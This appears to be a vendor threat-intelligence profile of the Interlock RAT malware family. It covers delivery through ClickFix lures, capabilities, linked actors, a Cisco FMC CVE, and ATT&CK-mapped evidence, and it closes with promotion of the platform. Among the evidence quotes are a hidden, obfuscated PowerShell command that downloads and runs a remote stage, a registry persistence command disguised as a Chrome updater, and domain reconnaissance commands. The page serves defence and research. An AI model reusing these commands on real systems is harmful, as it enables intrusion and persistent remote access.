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Malware3 associated actors1 associated CVE

Interlock RAT

Tracked since Nov 25, 2025 · Updated 2 months ago
Trending this weekNot trendingOutside this week’s top 100
Mention activity · 30 daysNo mention activity in the last 30 days.
Vulns1Associated
Actors3Associated
ATT&CK26Techniques
IOCs62Tracked
Type
RAT
Capabilities
ExfiltrationPersistenceLateral movementPost exploitationDefense evasionReconnaissance
Delivery
PhishingLanding pageFake updateClickfix
Platforms
LinuxWindows

Interlock RAT is a modular remote-access trojan associated with the Interlock ransomware ecosystem and observed since 2024. Implementations in Node.js, PHP, PowerShell, C/C++, Java, and JavaScript support Windows and Linux operations. The malware provides remote command execution, system and Active Directory reconnaissance, host fingerprinting, SOCKS proxying, reverse-shell capability, additional-payload delivery, and persistence. Observed Node.js variants collect host, account, privilege, domain, network, service, and process information; enumerate domain relationships and administrative groups; and search Active Directory computer descriptions for backup infrastructure, consistent with ransomware estate assessment. Variants have used user-level autorun persistence and scheduled tasks, while PHP variants have also been reported to support RDP-enabled lateral movement. Interlock RAT has been delivered through phishing, compromised websites, fake browser-update lures, and ClickFix/FileFix social engineering, including campaigns associated with the KongTuke traffic-distribution system. In observed ClickFix activity, victims were induced to execute obfuscated PowerShell that installed a legitimate runtime to run the RAT. Interlock RAT is associated with unauthorized remote access, reconnaissance, data exfiltration, and follow-on ransomware operations; activity has also been linked to the financially motivated cluster tracked as Hive0163. Specific operator identity cannot be established solely from malware-family attribution.

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Associated CVEs

Associated vulnerabilities

1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.

CVE-2026-20131via esentire product advisoriesExploited in the wildUnauthenticated Java Deserialization RCE in Cisco Secure Firewall Management CenterAmazon reported that the Interlock ransomware group has been exploiting the maximum severity vulnerability, CVE-2026-20131 (CVSS: 10), in Cisco Secure Firewall Management Center (FMC) software, since January 2026. Disclosed on March 4th, CVE-2026-20131 is a Remote Code Execution vulnerability impacting Cisco Secure Firewall Management Center (FMC) software.View vulnerability →Source ↗
Threat actors

Associated threat actors

3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.

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Interlock

The payload is the Node.js variant of Interlock RAT. It fingerprinted the host, opened a raw TCP session to one of three hardcoded IPs on port 443 behind a four-byte magic header, carried its own SOCKS implementation, and ran a recon burst that ended on an LDAP query hunting for backup servers by description.

via shroudcloudshroudcloud.io
Hive0163

The framework has multiple implementations in PowerShell, PHP, C/C++, Java, and JavaScript to support both Windows and Linux. Like NodeSnake, it also communicates with a remote server to fetch commands that allow it to launch a SOCKS5 proxy tunnel, spawn a reverse shell on the infected machine, and deliver more payloads, such as Interlock ransomware and Slopoly.

via the hacker newsthehackernews.com
KongTuke

...used a technique called FileFix to spread a PHP variant of Interlock RAT...

via scworldscworld.com
MITRE ATT&CK

Techniques & procedures

26 distinct techniques documented for this family, organized by ATT&CK tactic.

Initial Access

2 techniques
T1189Drive-by CompromiseEvidence2

Initial Access | T1189 - Drive-by Compromise On Day 1 of the attack, an end-user device was linked by a ChatGPT search for Dynamics 365 to a reputable web property that is believed to have been compromised at the time with a ClickFix lure.

T1566PhishingEvidence2

At 00d 00:00:13, the threat actor engaged in a bit of social engineering, convincing the user to paste a certain command into a Run dialogue box.

Execution

8 techniques
T1047Windows Management InstrumentationEvidence1

cmd.exe /d /s /c "wmic process where processid=20716 get commandline"

T1053.005Scheduled TaskEvidence1

Persistence | T1053.005 - Scheduled Task/Job:Scheduled Task On Day 3, the threat actor, using the compromised domain administrator account, executed the following command line instruction on a print server to create a scheduled task which executed persistence malware debug.log via node.exe

T1059Command and Scripting InterpreterEvidence1

Like NodeSnake, it also communicates with a remote server to fetch commands that allow it to launch a SOCKS5 proxy tunnel, spawn a reverse shell on the infected machine, and deliver more payloads.

T1059.001PowerShellEvidence3

"C:\WINDOWS\system32\WindowsPowerShell\v1.0\PowerShell.exe" -w H -c "$s='irm dnsgo-windowsds[.]live/nlOs24YoL';iex ([string]::Join('|', $s, 'iex'))"

T1059.007JavaScriptEvidence1

The malicious component on disk is a text file, debug.txt, which Node runs regardless of extension.

T1204User ExecutionEvidence1

Compromised sites serve a filtered "Verify you are human" page that walks the visitor into pasting a command into the Run dialog.

T1204.003Malicious ImageEvidence1

The victim pastes and runs the command, which downloads and executes a second-stage payload.

T1559Inter-Process CommunicationEvidence1

Annotations ID Technique Tactic T1559 Inter-Process Communication Execution

Persistence

2 techniques
T1053.005Scheduled TaskEvidence1

Persistence | T1053.005 - Scheduled Task/Job:Scheduled Task On Day 3, the threat actor, using the compromised domain administrator account, executed the following command line instruction on a print server to create a scheduled task which executed persistence malware debug.log via node.exe

T1547.001Registry Run Keys / Startup FolderEvidence2

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ChromeUpdater" ... node.exe ... debug.txt

Privilege Escalation

2 techniques
T1053.005Scheduled TaskEvidence1

Persistence | T1053.005 - Scheduled Task/Job:Scheduled Task On Day 3, the threat actor, using the compromised domain administrator account, executed the following command line instruction on a print server to create a scheduled task which executed persistence malware debug.log via node.exe

T1547.001Registry Run Keys / Startup FolderEvidence2

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "ChromeUpdater" ... node.exe ... debug.txt

Stealth

3 techniques
T1027Obfuscated Files or InformationEvidence1

$s holds only the irm half and [string]::Join('|', $s, 'iex') assembles irm dnsgo-windowsds[.]live/nlOs24YoL|iex at runtime for the outer iex to run.

T1036MasqueradingEvidence3

Persistence was an HKCU Run key named ChromeUpdater ... the value name borrows Chrome's updater.

T1564.003Hidden WindowEvidence1

"-w H hides the window."

Discovery

7 techniques
T1018Remote System DiscoveryEvidence1

A DirectorySearcher retrieves every computer object from Active Directory and examines each description for VB, VEEA, BCK, and BACK.

T1033System Owner/User DiscoveryEvidence1

"C:\WINDOWS\system32\whoami.exe" / user ... / upn

T1049System Network Connections DiscoveryEvidence1

"C:\WINDOWS\system32\ARP.EXE" -a

T1057Process DiscoveryEvidence1

"C:\WINDOWS\system32\tasklist.exe" / svc

T1069.002Domain GroupsEvidence1

"C:\WINDOWS\system32\whoami.exe" / groups ... "C:\WINDOWS\system32\net.exe" group "domain admins" / domain

T1082System Information DiscoveryEvidence2

The deobfuscated script builds a Systeminfo object holding the user's privilege level and the Windows version.

T1482Domain Trust DiscoveryEvidence1

"C:\WINDOWS\system32\nltest.exe" / domain_trusts

Command and Control

5 techniques
T1071Application Layer ProtocolEvidence2

C2 Servers (payload delivery)... port 3456 is consistent across the fleet... Additional C2s... TLSv1.0 encrypted C2... TCP backdoor.

T1090ProxyEvidence2

The channel is a SOCKS proxy, so the operator can reach anything the workstation can.

T1090.003Multi-hop ProxyEvidence1

"...allow it to launch a SOCKS5 proxy tunnel..."

T1095Non-Application Layer ProtocolEvidence1

The transport is a raw TCP socket on 443 with no TLS on top.

T1105Ingress Tool TransferEvidence4

A hidden PowerShell one-liner ... pulled its next stage from dnsgo-windowsds[.]live.

Indicators of compromise

Observables

62 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.

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Indicator values are available in Mallory. Pivot on every hash, domain, URL, and IP, or pipe them straight into your SIEM.View all in Mallory
Activity feed

Recent activity

13 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.

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Mallory platform

The version that knows your environment.

This page is what’s public. Mallory adds the parts that aren’t: which of your assets match these IOCs, which detections are missing, which campaigns to expect next, and what to do in the next 30 minutes.
IOC matching62Match every observed IP, domain, and hash against your live telemetry.
Associated threat actors3Groups linked to this family, with evidence pinned to each claim.
Associated vulnerabilities1CVEs linked to this family, with the reporting behind each link.
Detection signaturesYARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
MITRE ATT&CK mapping26Every documented technique, ranked by evidence weight.
Researcher chatterReddit, Mastodon, and CTI community discussion around this family.